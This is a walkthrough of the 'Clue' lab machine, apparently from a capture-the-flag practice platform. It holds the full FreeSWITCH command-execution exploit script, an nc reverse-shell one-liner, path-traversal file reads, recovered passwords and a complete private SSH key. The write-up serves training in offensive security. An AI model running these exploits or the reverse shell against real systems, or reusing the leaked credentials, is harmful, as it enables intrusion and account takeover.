Clue

Nmap Scan

$ nmap -sC -sV -p- --min-rate 10000 -Pn -oN nmap 192.168.231.240
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 15:07 +08
Nmap scan report for 192.168.231.240
Host is up (0.011s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp   open  http             Apache httpd 2.4.38
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn      Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open  http             Thin httpd
|_http-server-header: thin
|_http-title: Cassandra Web
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket
Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: clue
|   NetBIOS computer name: CLUE\x00
|   Domain name: pg
|   FQDN: clue.pg
|_  System time: 2024-06-04T03:08:09-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-06-04T07:08:06
|_  start_date: N/A
|_clock-skew: mean: 1h20m01s, deviation: 2h18m36s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.70 seconds

Initial Access

Port 445

There are shares that we are able to list down using Null session.

$ smbclient -L //192.168.231.240
Password for [WORKGROUP\ranay]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        backup          Disk      Backup web directory shares
        IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP

Next, we will enter backup shares to see if there is anything special. There are 2 folders with service name that correspond to the Nmap Scan we did just now.

$ smbclient //192.168.231.240/backup  
Password for [WORKGROUP\ranay]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Aug  5 16:43:50 2022
  ..                                  D        0  Fri Aug  5 16:43:44 2022
  freeswitch                          D        0  Fri Aug  5 16:43:51 2022
  cassandra                           D        0  Fri May  6 23:04:47 2022

                14343176 blocks of size 1024. 10596988 blocks available
smb: \>

The next step is to download all the files into the current directory.

smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

However, there is nothing much is interesting in the backup files.

Port 3000

There is a Cassandra Query Language running on that port.

Next, we will query the version and it is 3.4.4

After some searching online, there is file read exploit that might work for this version.

Cassandra Web 0.5.0 - Remote File ReadExploit Database

We will test if it actually works with files that are definitely in the system such as /etc/passwd

$ python 49362.py -p 3000 192.168.231.240 /etc/passwd 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ntp:x:106:113::/nonexistent:/usr/sbin/nologin
cassandra:x:107:114:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
cassie:x:1000:1000::/home/cassie:/bin/bash
freeswitch:x:998:998:FreeSWITCH:/var/lib/freeswitch:/bin/false
anthony:x:1001:1001::/home/anthony:/bin/bash

There are also only 3 users that we can login.

$ python 49362.py -p 3000 192.168.231.240 /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
cassie:x:1000:1000::/home/cassie:/bin/bash
anthony:x:1001:1001::/home/anthony:/bin/bash

In the exploit, they also give us a file that we can get the password of the user.

$ python 49362.py -p 3000 192.168.231.240 /proc/self/cmdline

/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330

So the password for cassie is SecondBiteTheApple330.

However we are unable to login as cassie using SSH.

Further enumeration on the config file for SSH reveals that the only 2 users that can be logged in using SSH is root and anthony.

$ python 49362.py -p 3000 192.168.231.240 /etc/ssh/sshd_config
...
AllowUsers root anthony

Port 8021

There is FreeSWITCH mod_event_socket running on that port. After searching online, there is an RCE exploit for that.

FreeSWITCH 1.10.1 - Command ExecutionExploit Database

However if we try to run it, it will tell us Authentication Error which means it is the incorrect password.

So I went to relook again at the backup files that is being shared on port 445. There must be something I missed out there.

$ grep -r "password" freeswitch/
...
freeswitch/etc/freeswitch/autoload_configs/hash.conf.xml:       <!-- <remote name="Test1" host="10.0.0.10" port="8021" password="ClueCon" interval="1000" /> -->
...

However, there is no password in the backup files.

After searching online for hints, we can see that they have a default file location for the configuration file.

Changing the FreeSWITCH mod_event_socket Password in ASTPP - ASTPP Documentation - Confluenceinextrix.atlassian.net

But, there is no such configuration file at the default location.

Getting the password from the config file

I am not sure but apparently the default location got changed when I was doing this box. The location of the configuration file is: /etc/freeswitch/autoload_configs/event_socket.conf.xml.

$ python 49362.py -p 3000 192.168.199.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml 

<configuration name="event_socket.conf" description="Socket Client">
  <settings>
    <param name="nat-map" value="false"/>
    <param name="listen-ip" value="0.0.0.0"/>
    <param name="listen-port" value="8021"/>
    <param name="password" value="StrongClueConEight021"/>
  </settings>
</configuration>

We can see the password is StrongClueConEight021.

The modified payload is:

# Exploit Title: FreeSWITCH 1.10.1 - Command Execution
# Date: 2019-12-19
# Exploit Author: 1F98D
# Vendor Homepage: https://freeswitch.com/
# Software Link: https://files.freeswitch.org/windows/installer/x64/FreeSWITCH-1.10.1-Release-x64.msi
# Version: 1.10.1
# Tested on: Windows 10 (x64)
#
# FreeSWITCH listens on port 8021 by default and will accept and run commands sent to
# it after authenticating. By default commands are not accepted from remote hosts.
#
# -- Example --
# root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami
# Authenticated
# Content-Type: api/response
# Content-Length: 20
#
# nt authority\system
#

#!/usr/bin/python3

from socket import *
import sys

if len(sys.argv) != 3:
    print('Missing arguments')
    print('Usage: freeswitch-exploit.py <target> <cmd>')
    sys.exit(1)

ADDRESS=sys.argv[1]
CMD=sys.argv[2]
PASSWORD='StrongClueConEight021' # default password for FreeSWITCH

s=socket(AF_INET, SOCK_STREAM)
s.connect((ADDRESS, 8021))

response = s.recv(1024)
if b'auth/request' in response:
    s.send(bytes('auth {}\n\n'.format(PASSWORD), 'utf8'))
    response = s.recv(1024)
    if b'+OK accepted' in response:
        print('Authenticated')
        s.send(bytes('api system {}\n\n'.format(CMD), 'utf8'))
        response = s.recv(8096).decode()
        print(response)
    else:
        print('Authentication failed')
        sys.exit(1)
else:
    print('Not prompted for authentication, likely not vulnerable')
    sys.exit(1)

So we will try the payload and it worked.

We can call the reverse shell.

$ python 47799.py 192.168.199.240 'nc -nv 192.168.45.172 3000 -e /bin/bash' 
Authenticated

$ nc -nlvp 3000
listening on [any] 3000 ...
connect to [192.168.45.172] from (UNKNOWN) [192.168.199.240] 48844
id
uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch)
whoami
freeswitch

Lateral Movement

Next we can log in as cassie using su.

su cassie
SecondBiteTheApple330
whoami
cassie

Privilege Escalation

sudo -l

When we sudo -l, we can see this

We can upgrade the shell using this:

python -c 'import pty; pty.spawn("/bin/bash")'

Next we will run this server at port 4000.

cassie@clue:~$ sudo cassandra-web -B 0.0.0.0:4000 -u cassie -p SecondBiteTheApple330

However, we can only curl internally, so we will curl to get the id_rsa file of anthony as we do not have anything in root.

cassie@clue:/$ curl --path-as-is http://localhost:4000/../../../../../../../../home/anthony/.ssh/id_rsa
<00/../../../../../../../../home/anthony/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAw59iC+ySJ9F/xWp8QVkvBva2nCFikZ0VT7hkhtAxujRRqKjhLKJe
d19FBjwkeSg+PevKIzrBVr0JQuEPJ1C9NCxRsp91xECMK3hGh/DBdfh1FrQACtS4oOdzdM
jWyB00P1JPdEM4ojwzPu0CcduuV0kVJDndtsDqAcLJr+Ls8zYo376zCyJuCCBonPVitr2m
B6KWILv/ajKwbgrNMZpQb8prHL3lRIVabjaSv0bITx1KMeyaya+K+Dz84Vu8uHNFJO0rhq
gBAGtUgBJNJWa9EZtwws9PtsLIOzyZYrQTOTq4+q/FFpAKfbsNdqUe445FkvPmryyx7If/
DaMoSYSPhwAAA8gc9JxpHPScaQAAAAdzc2gtcnNhAAABAQDDn2IL7JIn0X/FanxBWS8G9r
acIWKRnRVPuGSG0DG6NFGoqOEsol53X0UGPCR5KD4968ojOsFWvQlC4Q8nUL00LFGyn3XE
QIwreEaH8MF1+HUWtAAK1Lig53N0yNbIHTQ/Uk90QziiPDM+7QJx265XSRUkOd22wOoBws
mv4uzzNijfvrMLIm4IIGic9WK2vaYHopYgu/9qMrBuCs0xmlBvymscveVEhVpuNpK/RshP
HUox7JrJr4r4PPzhW7y4c0Uk7SuGqAEAa1SAEk0lZr0Rm3DCz0+2wsg7PJlitBM5Orj6r8
UWkAp9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+HAAAAAwEAAQAAAQBjswJsY1il9I7zFW9Y
etSN7wVok1dCMVXgOHD7iHYfmXSYyeFhNyuAGUz7fYF1Qj5enqJ5zAMnataigEOR3QNg6M
mGiOCjceY+bWE8/UYMEuHR/VEcNAgY8X0VYxqcCM5NC201KuFdReM0SeT6FGVJVRTyTo+i
CbX5ycWy36u109ncxnDrxJvvb7xROxQ/dCrusF2uVuejUtI4uX1eeqZy3Rb3GPVI4Ttq0+
0hu6jNH4YCYU3SGdwTDz/UJIh9/10OJYsuKcDPBlYwT7mw2QmES3IACPpW8KZAigSLM4fG
Y2Ej3uwX8g6pku6P6ecgwmE2jYPP4c/TMU7TLuSAT9TpAAAAgG46HP7WIX+Hjdjuxa2/2C
gX/VSpkzFcdARj51oG4bgXW33pkoXWHvt/iIz8ahHqZB4dniCjHVzjm2hiXwbUvvnKMrCG
krIAfZcUP7Ng/pb1wmqz14lNwuhj9WUhoVJFgYk14knZhC2v2dPdZ8BZ3dqBnfQl0IfR9b
yyQzy+CLBRAAAAgQD7g2V+1vlb8MEyIhQJsSxPGA8Ge05HJDKmaiwC2o+L3Er1dlktm/Ys
kBW5hWiVwWoeCUAmUcNgFHMFs5nIZnWBwUhgukrdGu3xXpipp9uyeYuuE0/jGob5SFHXvU
DEaXqE8Q9K14vb9by1RZaxWEMK6byndDNswtz9AeEwnCG0OwAAAIEAxxy/IMPfT3PUoknN
Q2N8D2WlFEYh0avw/VlqUiGTJE8K6lbzu6M0nxv+OI0i1BVR1zrd28BYphDOsAy6kZNBTU
iw4liAQFFhimnpld+7/8EBW1Oti8ZH5Mx8RdsxYtzBlC2uDyblKrG030Nk0EHNpcG6kRVj
4oGMJpv1aeQnWSUAAAAMYW50aG9ueUBjbHVlAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----

We will then copy the content out to our own kali machine.

$ echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAw59iC+ySJ9F/xWp8QVkvBva2nCFikZ0VT7hkhtAxujRRqKjhLKJe
d19FBjwkeSg+PevKIzrBVr0JQuEPJ1C9NCxRsp91xECMK3hGh/DBdfh1FrQACtS4oOdzdM
jWyB00P1JPdEM4ojwzPu0CcduuV0kVJDndtsDqAcLJr+Ls8zYo376zCyJuCCBonPVitr2m
B6KWILv/ajKwbgrNMZpQb8prHL3lRIVabjaSv0bITx1KMeyaya+K+Dz84Vu8uHNFJO0rhq
gBAGtUgBJNJWa9EZtwws9PtsLIOzyZYrQTOTq4+q/FFpAKfbsNdqUe445FkvPmryyx7If/
DaMoSYSPhwAAA8gc9JxpHPScaQAAAAdzc2gtcnNhAAABAQDDn2IL7JIn0X/FanxBWS8G9r
acIWKRnRVPuGSG0DG6NFGoqOEsol53X0UGPCR5KD4968ojOsFWvQlC4Q8nUL00LFGyn3XE
QIwreEaH8MF1+HUWtAAK1Lig53N0yNbIHTQ/Uk90QziiPDM+7QJx265XSRUkOd22wOoBws
mv4uzzNijfvrMLIm4IIGic9WK2vaYHopYgu/9qMrBuCs0xmlBvymscveVEhVpuNpK/RshP
HUox7JrJr4r4PPzhW7y4c0Uk7SuGqAEAa1SAEk0lZr0Rm3DCz0+2wsg7PJlitBM5Orj6r8
UWkAp9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+HAAAAAwEAAQAAAQBjswJsY1il9I7zFW9Y
etSN7wVok1dCMVXgOHD7iHYfmXSYyeFhNyuAGUz7fYF1Qj5enqJ5zAMnataigEOR3QNg6M
mGiOCjceY+bWE8/UYMEuHR/VEcNAgY8X0VYxqcCM5NC201KuFdReM0SeT6FGVJVRTyTo+i
CbX5ycWy36u109ncxnDrxJvvb7xROxQ/dCrusF2uVuejUtI4uX1eeqZy3Rb3GPVI4Ttq0+
0hu6jNH4YCYU3SGdwTDz/UJIh9/10OJYsuKcDPBlYwT7mw2QmES3IACPpW8KZAigSLM4fG
Y2Ej3uwX8g6pku6P6ecgwmE2jYPP4c/TMU7TLuSAT9TpAAAAgG46HP7WIX+Hjdjuxa2/2C
gX/VSpkzFcdARj51oG4bgXW33pkoXWHvt/iIz8ahHqZB4dniCjHVzjm2hiXwbUvvnKMrCG
krIAfZcUP7Ng/pb1wmqz14lNwuhj9WUhoVJFgYk14knZhC2v2dPdZ8BZ3dqBnfQl0IfR9b
yyQzy+CLBRAAAAgQD7g2V+1vlb8MEyIhQJsSxPGA8Ge05HJDKmaiwC2o+L3Er1dlktm/Ys
kBW5hWiVwWoeCUAmUcNgFHMFs5nIZnWBwUhgukrdGu3xXpipp9uyeYuuE0/jGob5SFHXvU
DEaXqE8Q9K14vb9by1RZaxWEMK6byndDNswtz9AeEwnCG0OwAAAIEAxxy/IMPfT3PUoknN
Q2N8D2WlFEYh0avw/VlqUiGTJE8K6lbzu6M0nxv+OI0i1BVR1zrd28BYphDOsAy6kZNBTU
iw4liAQFFhimnpld+7/8EBW1Oti8ZH5Mx8RdsxYtzBlC2uDyblKrG030Nk0EHNpcG6kRVj
4oGMJpv1aeQnWSUAAAAMYW50aG9ueUBjbHVlAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----' > anthony_rsa

However, we are unable to ssh into anthony

$ ssh -i anthony_rsa anthony_rsa@192.168.199.240
anthony_rsa@192.168.199.240's password: 
Permission denied, please try again.
anthony_rsa@192.168.199.240's password:

However, we are able to ssh into root to get root access.

$ ssh -i anthony_rsa root@192.168.199.240
Linux clue 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 29 17:57:54 2024
root@clue:~#

PreviousBoolean NextCockpit

Last updated 1 year ago

hashtagNmap Scan

hashtagInitial Access

hashtagPort 445

hashtagPort 3000

hashtagPort 8021

hashtagGetting the password from the config file

hashtagLateral Movement

hashtagPrivilege Escalation

hashtagsudo -l